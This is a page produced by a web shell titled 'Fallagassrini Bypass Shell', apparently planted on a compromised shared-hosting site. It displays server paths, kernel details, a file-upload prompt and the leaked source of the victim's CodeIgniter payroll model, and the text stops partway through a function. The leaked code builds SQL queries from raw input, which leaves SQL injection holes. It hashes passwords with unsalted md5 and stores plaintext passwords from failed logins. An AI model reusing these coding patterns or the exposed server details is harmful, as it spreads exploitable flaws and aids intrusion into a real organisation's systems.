? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/horeitia/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/horeitia/application/models/mastermodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Mastermodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }


    /*Common function starts here*/
    function authenticate($username,$password)
    {
        $ip=$this->input->post('ip');
        $profile= $this->getSingleFieldValue('user','role_id','username',$username);
        if($profile=="")
        {
            $profile='NULL';
        }
        $uid= $this->getSingleFieldValue('user','id','username',$username);
        if($uid=="")
        {
            $uid='NULL';
        }
        $logintime=$today = date("Y-m-d H:i:s");
        $password1=md5($password);
        $query= $this->db->query("select * from user where username='$username' and password='$password1'");
        $data['numrows']=$query->num_rows();
        if($query->num_rows()>0)
        {
            $lastid= $this->getSingleValue('login_details','id','username',$username);
            $clogintime= $this->getSingleValue('login_details','login_time','username',$username);
            $result= $query->row();
            $data['userid']= $result->id;
            $data['username']=$username;
            $data['clogintime']=$logintime;
            $data['lastid']=$lastid;
            $data['roleid']= $result->role_id;
            $query1= $this->db->query("select * from login_details where username='$username' and id>='$lastid'");
            $data['attempt']=($query1->num_rows())-1;
            $tblValues=array('profile'=>$profile,'username'=>$username,'password'=>$password1,'login_time '=>$logintime,'userid '=>$uid,'ip_address '=>$ip,'status '=>'Success');
            $datas=$this->db->insert('login_details', $tblValues);
            return $data;
        }
        else
        {
            $tblValues=array('profile'=>$profile,'username'=>$username,'password'=>$password,'login_time '=>$logintime,'userid '=>$uid,'failing_time '=>$logintime,'ip_address '=>$ip,'status '=>'failed');
            $datas=$this->db->insert('login_details', $tblValues);
        }
    }

    function get_num_rows($table,$field='',$id='')
    {
        if($field!='')
            $this->db->where($field,$id);
        $Q=$this->db->get($table);
        return $Q->num_rows();
    }

    function get_num_missing($table,$field,$id,$field1="",$id1="")
    {
        $this->db->where($field,$id);
        if($field1!="")
        $this->db->where($field1." != ",$id1);
        $Q=$this->db->get($table);
        return $Q->num_rows();
    }

    
    function getSingleValue($table,$field,$condition,$value)
    {
        $data=$this->db->query("select max(". $field. ") as ".$field." from ". $table . " where ". $condition . "='". $value ."' and status='Success'");
        $result= $data->row();
        if($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }


    function getSingleFieldValue($table,$field,$condition,$value)
    {
        
        $data=$this->db->query("select ". $field. " from ". $table . " where ". $condition . "='". $value ."'");
        $result= $data->row();
        if($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }

    function getSingleFieldValueTwo($table,$field,$condition,$value,$condition1,$value1)
    {
        $sql ="select ". $field. " from ". $table . " where ". $condition . "='". $value ."' and ". $condition1 . "='". $value1 ."'";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }

    function buildMenu($moduleid)
    {
        $user_id=$_SESSION['userid'];
        $data = array();
        $Q= $this->db->query("select * from menu where module_id='" . $moduleid ."' order by sort");
        $P=$this->db->query("select permission,edit_del_permission from user where id='" . $_SESSION['userid'] ."'");
        $result= $P->row();
        $permission=explode(',',$result->permission);
        $edit_del_permission=explode(',',$result->edit_del_permission);
        
        if ($Q->num_rows() > 0)
        {
             foreach ($Q->result_array() as $row)
             {
                 $check=$this->mastermodel->check_user_permission($row['menu_id'],$_SESSION['userid'],'0');
                 if($check)
                 {
                    $data[]=$row;
                 }
             }
        }
        $Q->free_result();
        return $data;
    }


    function buildModule()
    {
        $flag=0;
        $homemodel=0;
        $data = array();
        $P=$this->db->query("select permission from user where id='" . $_SESSION['userid'] ."'");
        $result= $P->row();
        $permission=explode(',',$result->permission);
        $Q= $this->db->query("select * from modules where status = '" . $_SESSION['login_type'] ."' || status = '2'  order by sort");
        if ($Q->num_rows() > 0)
        {
            foreach($Q->result_array() as $row)
            {
                $R= $this->db->query("select * from menu where module_id='" . $row['module_id'] ."'");
                foreach($R->result_array() as $menu)
                {
                    $check=$this->mastermodel->check_user_permission($menu['menu_id'],$_SESSION['userid'],'0');
                 
                    if($check)
                    {
                        $flag=1;
                    }
                }
                if($homemodel==0)
                {
                    $data[]=$row;
                    $homemodel=1;
                }
                if($flag==1)
                {
                    $data[]=$row;
                    $flag=0;
                }
                else
                {
                    $flag=0;
                }
            }
        }
        $Q->free_result();
        return $data;
    }

    
    function chk_url_permission($menuid)
    {
        $uid=$_SESSION['userid'];
        $permission= $this->getSingleFieldValue('user','permission','id',$uid);
        $array=explode(',',$permission);
        if(in_array($menuid, $array))
        {
            return true;
        }
        else
        {
            return false;

        }
    }



    function getdatas($table,$sortfield="")
    {
        $data = array();
        if(!empty ($sortfield))
        {
            $this->db->order_by($sortfield, "asc");
        }
        $Q = $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }


    function get_data($table,$id,$field,$sortfield="")
    {
        $data = array();
        $this->db->where($field,$id);
        if(!empty($sortfield))
        {
            $this->db->order_by($sortfield,'asc');
        }
        $Q= $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }


    function getmoduledatamaster()
    {
        $data=array();
        $res=$this->db->query("select modules.module_name,menu.caption,menu.target,menu.menu_id,menu.module_id,menu.sort,menu.imagepath from modules join menu on modules.module_id=menu.module_id
             where status = '" . $_SESSION['login_type'] ."' || status = '2'
            order by modules.sort, menu.sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }


    function getmoduledata()
    {
        $data=array();
        $res=$this->db->query("select modules.module_name,menu.caption,menu.target,menu.menu_id,menu.module_id,menu.sort,menu.imagepath from modules join menu on modules.module_id=menu.module_id
            order by modules.sort, menu.sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
    
    function ret_private()
    {
        $uid=$_SESSION['userid'];
        $menuid=$_SESSION['current_mode'];
        $private= $this->getSingleFieldValue('user','private','id',$uid);
        $permission= $this->getSingleFieldValue('user','permission','id',$uid);
        $array=explode(',',$private);
        $array2=explode(',',$permission);
        $fount=array_search($menuid,$array2);
        $val=$array[$fount];
        if($val==2)
        {
            return true;
        }
        else
        {
            return false;
        }
    }


    function replacemenu($menuid)
    {
        $uid=$_SESSION['userid'];
        $permission= $this->getSingleFieldValue('user','permission','id',$uid);
        $array=explode(',',$permission);
        if(in_array($menuid, $array))
        {
            return $menuid;
        }
        else
        {
            return false;
        }
    }


    function permissionList()
    {
        $permission=array();
        $user_id=$_SESSION['userid'];
        $P=$this->db->query("select permission from user where id='" . $user_id ."'");
        $result= $P->row();
        $permission=explode(',',$result->permission);
        return $permission;
    }

        
    function checkexistencearray($table,$field,$value)
    {
        $tbarr=explode('~',$table);
        $fdarr=explode('~',$field);
        for($i=0;$i<sizeof($tbarr);$i++)
        {
            $this->db->from($tbarr[$i]);
            $this->db->where($fdarr[$i], $value);
            $count= $this->db->count_all_results();
            if($count>0)
            {
                return $count;
                break;
            }
            else
            {
                continue;
            }
        }
    }

    function checkexistence($table,$field,$value)
    {
         $this->db->from($table);
         $this->db->where($field, $value);
         $count= $this->db->count_all_results();
         return $count;
    }

    
    function check_user_permission($menuid,$userid,$check)
    {
        $this->db->select('permission,edit_del_permission');
        $this->db->from('user');
        $this->db->where('id', $userid);
        $data=$this->db->get();
        $result= $data->row();
        $array_perm=explode(',',$result->edit_del_permission);
        $array_mod=explode(',',$result->permission);
        $found=array_search($menuid,$array_mod);
        $val=$array_perm[$found];
        $a=decbin($val);
        $d=sprintf('%03u',$a);
        $ar = str_split($d);
     
        if($ar[$check]==1)
        {
            return true;
        }
        else
        {
            return false;
        }
    }


    function add($postdata)
    {
        $data=array();
        $data['resfunction']=$postdata['resfunction'];
        $table = $postdata['tab_name'];
        unset ($postdata['tab_name']);
        unset ($postdata['resfunction']);
        $res=$this->db->insert($table,$postdata);
        $cnt=$this->db->insert_id();
        if($res>0)
        {
            $data['res']=1;
            $data['msg']='Record Added Successfully';
        }
        else
        {
            $data['res']=0;
            $data['msg']='Erron On Adding Record';
        }
        return $data;
    }

    function update($postdata)
    {
        $data=array();
        $data['resfunction']=$postdata['resfunction'];
        $table = $postdata['tab_name'];
        $field = $postdata['tab_field'];
        $id= $postdata['tab_id'];
        unset ($postdata['resfunction']);
        unset ($postdata['tab_name']);
        unset ($postdata['tab_field']);
        unset ($postdata['tab_id']);
        $this->db->where($field, $id);
        $res=$this->db->update($table,$postdata);
        if($res>0)
        {
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
        }
        else
        {
            $data['res']=0;
            $data['msg']='Erron On updating Record';
        }
        return $data;
    }
    
    function deletedata($table,$id,$field)
    {
        $data=array();
        $this->db->trans_begin();
        $this->db->delete($table,array($field=> $id));
        $this->db->trans_status();
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Unable to delete record because of associated data';
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Data Deleted Successfully';
        }
        return $data;
    }


    function norecords($tabname)
    {
        $data = array();
        $sql = "select MAX(id) as maxid from $tabname";
        $res = mysql_query($sql);
        $row = mysql_fetch_array($res);
        $numcode =  $row['maxid'];
        if ($numcode != '')
        {
            return $numcode;
        }
        else
        {
            return 0;
        }
    }


    function get_data_srow($table,$id,$field)
    {
        $data = array();
        $this->db->where($field,$id);
        $Q= $this->db->get($table);
        $row=$Q->row();
        return $row;
    }


    function get_data_scoloumn($table,$id,$field,$coloumn,$sortfield="")
    {
        $data = array();
        $this->db->where($field,$id);
        if(!empty($sortfield))
        {
            $this->db->order_by($sortfield,'asc');
        }
        $this->db->select($coloumn);
        $Q= $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function convertdateformat($date)
    {
        if($date == "" || $date == "00-00-0000")
        {
            return "";
        }
        else
        {
            $time = strtotime( $date );
            return date( 'Y-m-d', $time );
        }
    }

    function convertdatenormalformat($date)
    {
        if($date == "" || $date == "0000-00-00")
        {
            return "";
        }
        else
        {
            $time = strtotime( $date );
            return date( 'd-m-Y', $time );
        }
    }

    function insertmasterdata($userid="")
    {
        $time= date("Y-m-d H:i:s");
        $ip=$_SERVER['REMOTE_ADDR'];
        if($userid=='')
        {
            $creator_id=$_SESSION['userid'];
        }
        else
        {
            $creator_id=$userid;
        }
        $query="insert into master (creator_id,created_time,ip) values ('".$creator_id."','$time','$ip')";
        $this->db->query($query);
        return mysql_insert_id();
     }
        /*Common function ends here*/


        /*Search function starts here*/


    function search_visa_type($pagenum)
    {
        $data=array();
        $this->db->from('visa_type');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('visa_type');
        $this->db->limit($perpage, $start);
        $this->db->order_by('visa_type_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_camp($pagenum)
    {
        $data=array();
        $this->db->from('camp');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('camp');
        $this->db->limit($perpage, $start);
        $this->db->order_by('camp_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_trade($pagenum)
    {
        $data=array();
        $this->db->from('trade');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('trade');
        $this->db->limit($perpage, $start);
        $this->db->order_by('trade_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_attendance_list($pagenum)
    {
        $data=array();
        $this->db->from('attendance_list');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('attendance_list');
        $this->db->limit($perpage, $start);
        $this->db->order_by('attendance_list_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }
    
    function search_training_module($pagenum)
    {
        $data=array();
        $this->db->from('training_module');
        $this->db->join('trade','trade.trade_id=training_module.trade_id');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('training_module');
         $this->db->join('trade','trade.trade_id=training_module.trade_id');
        $this->db->limit($perpage, $start);
        $this->db->order_by('training_module_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_general_item($pagenum)
    {
        $data=array();
        $this->db->from('general_item');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('general_item');
        $this->db->limit($perpage, $start);
        $this->db->order_by('item_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_sponsor($pagenum)
    {
        $data=array();
        $this->db->from('sponsor');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('sponsor');
        $this->db->limit($perpage, $start);
        $this->db->order_by('sponsor_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_agency($pagenum)
    {
        $data=array();
        $this->db->from('agency');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('agency');
        $this->db->limit($perpage, $start);
        $this->db->order_by('agency_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_nationality($pagenum)
    {
        $data=array();
        $this->db->from('nationality');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('nationality');
        $this->db->limit($perpage, $start);
        $this->db->order_by('nationality_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_site($pagenum)
    {
        $data=array();
        $this->db->from('site');
        $this->db->join('payroll_customer','payroll_customer.customer_id=site.customer_id','left');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('site');
        $this->db->join('payroll_customer','payroll_customer.customer_id=site.customer_id','left');
        $this->db->limit($perpage, $start);
        $this->db->order_by('site_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_leave_type($pagenum)
    {
        $data=array();
        $this->db->from('leave_type');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('leave_type');
        $this->db->limit($perpage, $start);
        $this->db->order_by('leave_type_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_leave_reason($pagenum)
    {
        $data=array();
        $this->db->from('leave_reason');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('leave_reason');
        $this->db->limit($perpage, $start);
        $this->db->order_by('leave_reason_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }
    
    function search_allowance($pagenum)
    {
        $data=array();
        $this->db->from('allowance');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('allowance');
        $this->db->limit($perpage, $start);
        $this->db->order_by('allowance_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_deduction($pagenum)
    {
        $data=array();
        $this->db->from('deduction');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('deduction');
        $this->db->limit($perpage, $start);
        $this->db->order_by('deduction_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_grade($pagenum)
    {
        $data=array();
        $this->db->from('grade');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('grade');
        $this->db->limit($perpage, $start);
        $this->db->order_by('grade_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_religion($pagenum)
    {
        $data=array();
        $this->db->from('religion');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('religion');
        $this->db->limit($perpage, $start);
        $this->db->order_by('religion_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_designation($pagenum)
    {
        $data=array();
        $this->db->from('designation');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('designation');
        $this->db->limit($perpage, $start);
        $this->db->order_by('designation_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }
        /*Search function ends here*/


        /*Add function starts here*/

    function insert_item($postdata)
    {
        $data=array();
        if(isset ($postdata['item_alert']))
            $item_alert=1;
        else
            $item_alert=0;
        $this->db->trans_begin();
        $tblValues=array(
                        'item_name'=>$postdata['item_name'],
                        'item_shelf_life'=>$postdata['item_shelf_life'],
                        'item_remind_before'=>$postdata['item_remind_before'],
                        'item_alert'=>$item_alert);
        $this->db->insert('general_item', $tblValues);
        $item_id=mysql_insert_id();

        $size = trim($postdata['item_size']);
        $sizeAr = explode("\n", $size);

        foreach ($sizeAr as $line) {
            $tblValues=array(
                        'item_id'=>$item_id,
                        'size'=>$line);
            $this->db->insert('general_item_size', $tblValues);
        } 
 

        $data['resfunction']='search_general_item';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }

    
    function insert_tool_list($postdata)
    {
        $data=array();
        
        $this->db->trans_begin();
        $i=1;
        while(isset($postdata['tool_name'.$i]))
        {
             if(isset ($postdata['tool_alert'.$i]))
                    $tool_alert=1;
                else
                    $tool_alert=0;
            $tblValues=array(
                            'trade_id'=>$postdata['trade_id'],
                            'tool_name'=>$postdata['tool_name'.$i],
                            'tool_shelf_life'=>$postdata['tool_shelf_life'.$i],
                            'tool_remind_before'=>$postdata['tool_remind_before'.$i],
                            'tool_alert'=>$tool_alert);
            $this->db->insert('tool_list', $tblValues);
            $i++;
        }
        $data['resfunction']='search_tool_list';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
        

    function insert_site($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $customer=explode('-', $postdata['customer_name']);
        $customer_id=$this->mastermodel->getSingleFieldValue('payroll_customer','customer_id','customer_code',$customer[count($customer)-1]);
        $tblValues=array(
                'customer_id'=>$customer_id,
                'site_name'=>$postdata['site_name'],
                'site_cordinator'=>$postdata['site_cordinator'],
                'site_contact_no'=>$postdata['site_contact_no']);
        $this->db->insert('site', $tblValues);
        
        $data['resfunction']='search_site';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }


        /*Add function ends here*/


         /*Update function starts here*/

    function update_leave_reason($postdata)
    {
        $data=array();
       
        
        
        $this->db->trans_begin();
        
        
        
        $tblValues=array('leave_reason_name'=>$postdata['leave_reason_name']);
        $this->db->where('leave_reason_id',$postdata['leave_reason_id']);
        $this->db->update('leave_reason', $tblValues);

        
        $tblValues=array('leave_reason'=>$postdata['leave_reason_name']);
        $this->db->where('leave_reason',$postdata['old_leave_reason']);
        $this->db->update('leave', $tblValues);

        $data['resfunction']='search_leave_reason';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }
    
    function update_item($postdata)
    {
        $data=array();
        if(isset ($postdata['item_alert']))
            $item_alert=1;
        else
            $item_alert=0;
        $this->db->trans_begin();
        $tblValues=array(
                        'item_name'=>$postdata['item_name'],
                        'item_shelf_life'=>$postdata['item_shelf_life'],
                        'item_remind_before'=>$postdata['item_remind_before'],
                        'item_alert'=>$item_alert);
        $this->db->where('item_id',$postdata['tab_id']);
        $this->db->update('general_item', $tblValues);

        $this->db->where('item_id',$postdata['tab_id']);
        $this->db->delete('general_item_size');

        $size = trim($postdata['item_size']);
        $sizeAr = explode("\n", $size);

        foreach ($sizeAr as $line) {
            $tblValues=array(
                        'item_id'=>$postdata['tab_id'],
                        'size'=>$line);
            $this->db->insert('general_item_size', $tblValues);
        }


        $data['resfunction']='search_general_item';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
    
    function update_tool_list($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $i=1;
        while(isset ($postdata['tool_name'.$i]))
        {
